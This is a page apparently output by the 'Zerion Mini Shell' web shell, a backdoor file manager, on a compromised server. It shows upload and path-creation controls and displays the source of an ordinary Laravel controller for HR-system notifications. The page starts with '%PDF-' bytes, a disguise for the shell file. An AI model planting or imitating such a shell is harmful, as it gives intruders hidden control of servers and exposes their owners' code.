%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/app/Http/Controllers/Api/v1/NotificationsController.php

<?php

namespace App\Http\Controllers\Api\v1;


use App\Http\Controllers\Api\ApiController;
use App\Models\BaseModel;
use App\Models\Notification;
use App\Models\User;
use App\Transformers\NotificationTransformer;
use Illuminate\Http\Request;

class NotificationsController extends ApiController
{
    /**
     * @var NotificationTransformer
     */
    private $transformer;

    /**
     * @var User
     */
    private $user;

    /**
     * NotificationsController constructor.
     * @param NotificationTransformer $transformer
     */
    public function __construct(NotificationTransformer $transformer)
    {
        $this->transformer = $transformer;
        $this->user = BaseModel::getLoggedInUser();
    }

    public function index(Request $request)
    {
        $notifications = Notification::query()
                                     ->where('user_id', $this->user->id);
        if ($unread = filter_var($request->get('unread'), FILTER_VALIDATE_BOOLEAN)) {
            $notifications = $notifications->where('is_read', false);
        }
        $notifications = $notifications->orderBy('is_read')
                                       ->orderBy('created_at', 'DESC')
                                       ->paginate($request->get('paginate'));
        return $this->paginate($notifications, $this->transformer);
    }

    public function getBadge()
    {
        return response()->json([
            'count' => $this->user->getBadge(),
        ], 200);
    }

    public function markAsRead(Notification $notification)
    {
        $notification->markAsRead();
        return $this->item($notification->fresh(), $this->transformer);
    }

    public function markAllAsRead()
    {
        $this->user->markAllNotificationsAsRead();
        return response()->json([], 200);
    }

}

Zerion Mini Shell 1.0